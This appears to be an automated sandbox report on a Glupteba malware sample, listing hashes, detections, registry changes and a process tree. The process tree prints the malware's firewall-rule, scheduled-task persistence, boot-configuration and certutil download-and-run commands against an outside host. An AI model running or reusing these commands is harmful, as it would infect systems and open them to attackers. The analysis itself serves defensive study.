Analysis
-
max time kernel
149s -
max time network
166s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
29-01-2023 19:09
Static task
static1
Behavioral task
behavioral1
Sample
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe
Resource
win10v2004-20221111-en
General
-
Target
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe
-
Size
3.8MB
-
MD5
ba80f69afbad1b748248eaa22b5c92cb
-
SHA1
79f1176fb8348ca9ccfa19cc230685320fa566a4
-
SHA256
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8
-
SHA512
10902e159f17245a9f5c99f88070cbe5c0c495fc1612d229a745ef6b5ad0994421fd7c0db6dbb848b2e9b60d8b57c76bd68e83fb5f9f3f64c3d0aff9cedfc04d
-
SSDEEP
98304:FWyRD7LSIcHn+5A4pwhYjFbhycBLvroUT5dScUX:cyFyXH++Cw+FbhHBLEUVI
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 7 IoCs
Processes:
resource yara_rule behavioral2/memory/2408-133-0x0000000001770000-0x0000000001F74000-memory.dmp family_glupteba behavioral2/memory/2408-134-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/2408-136-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/364-140-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/364-144-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/2732-146-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/2732-152-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 2276 created 2408 2276 svchost.exe 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe PID 2276 created 2732 2276 svchost.exe csrss.exe PID 2276 created 2732 2276 svchost.exe csrss.exe PID 2276 created 2732 2276 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 2732 csrss.exe 2448 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DarkPaper = "\"C:\\Windows\\rss\\csrss.exe\"" 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 4648 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exedescription ioc process File opened for modification C:\Windows\rss 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe File created C:\Windows\rss\csrss.exe 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4424 schtasks.exe 3872 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.execsrss.exepid process 2408 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe 2408 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe 364 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe 364 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe 2732 csrss.exe 2732 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 2408 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe Token: SeImpersonatePrivilege 2408 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe Token: SeTcbPrivilege 2276 svchost.exe Token: SeTcbPrivilege 2276 svchost.exe Token: SeBackupPrivilege 2276 svchost.exe Token: SeRestorePrivilege 2276 svchost.exe Token: SeBackupPrivilege 2276 svchost.exe Token: SeRestorePrivilege 2276 svchost.exe Token: SeSystemEnvironmentPrivilege 2732 csrss.exe Token: SeBackupPrivilege 2276 svchost.exe Token: SeRestorePrivilege 2276 svchost.exe Token: SeBackupPrivilege 2276 svchost.exe Token: SeRestorePrivilege 2276 svchost.exe Token: SeBackupPrivilege 2276 svchost.exe Token: SeRestorePrivilege 2276 svchost.exe Token: SeBackupPrivilege 2276 svchost.exe Token: SeRestorePrivilege 2276 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.execmd.execsrss.exedescription pid process target process PID 2276 wrote to memory of 364 2276 svchost.exe 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe PID 2276 wrote to memory of 364 2276 svchost.exe 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe PID 2276 wrote to memory of 364 2276 svchost.exe 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe PID 364 wrote to memory of 1708 364 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe cmd.exe PID 364 wrote to memory of 1708 364 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe cmd.exe PID 1708 wrote to memory of 648 1708 cmd.exe netsh.exe PID 1708 wrote to memory of 648 1708 cmd.exe netsh.exe PID 364 wrote to memory of 2732 364 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe csrss.exe PID 364 wrote to memory of 2732 364 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe csrss.exe PID 364 wrote to memory of 2732 364 6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe csrss.exe PID 2276 wrote to memory of 4424 2276 svchost.exe schtasks.exe PID 2276 wrote to memory of 4424 2276 svchost.exe schtasks.exe PID 2276 wrote to memory of 3872 2276 svchost.exe schtasks.exe PID 2276 wrote to memory of 3872 2276 svchost.exe schtasks.exe PID 2276 wrote to memory of 2448 2276 svchost.exe patch.exe PID 2276 wrote to memory of 2448 2276 svchost.exe patch.exe PID 2732 wrote to memory of 4648 2732 csrss.exe bcdedit.exe PID 2732 wrote to memory of 4648 2732 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe"C:\Users\Admin\AppData\Local\Temp\6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe"C:\Users\Admin\AppData\Local\Temp\6ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5ba80f69afbad1b748248eaa22b5c92cb
SHA179f1176fb8348ca9ccfa19cc230685320fa566a4
SHA2566ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8
SHA51210902e159f17245a9f5c99f88070cbe5c0c495fc1612d229a745ef6b5ad0994421fd7c0db6dbb848b2e9b60d8b57c76bd68e83fb5f9f3f64c3d0aff9cedfc04d
-
C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5ba80f69afbad1b748248eaa22b5c92cb
SHA179f1176fb8348ca9ccfa19cc230685320fa566a4
SHA2566ac4f6c40216a433c7750e7a0a5a877de1e84727b6bef6d214e35eaaf4f4e3c8
SHA51210902e159f17245a9f5c99f88070cbe5c0c495fc1612d229a745ef6b5ad0994421fd7c0db6dbb848b2e9b60d8b57c76bd68e83fb5f9f3f64c3d0aff9cedfc04d
-
memory/364-135-0x0000000000000000-mapping.dmp
-
memory/364-139-0x000000000113D000-0x00000000014E5000-memory.dmpFilesize
3.7MB
-
memory/364-140-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/364-144-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/648-138-0x0000000000000000-mapping.dmp
-
memory/1708-137-0x0000000000000000-mapping.dmp
-
memory/2408-136-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/2408-132-0x00000000013BE000-0x0000000001766000-memory.dmpFilesize
3.7MB
-
memory/2408-134-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/2408-133-0x0000000001770000-0x0000000001F74000-memory.dmpFilesize
8.0MB
-
memory/2448-149-0x0000000000000000-mapping.dmp
-
memory/2732-141-0x0000000000000000-mapping.dmp
-
memory/2732-146-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/2732-145-0x0000000001600000-0x00000000019A8000-memory.dmpFilesize
3.7MB
-
memory/2732-152-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/3872-148-0x0000000000000000-mapping.dmp
-
memory/4424-147-0x0000000000000000-mapping.dmp
-
memory/4648-151-0x0000000000000000-mapping.dmp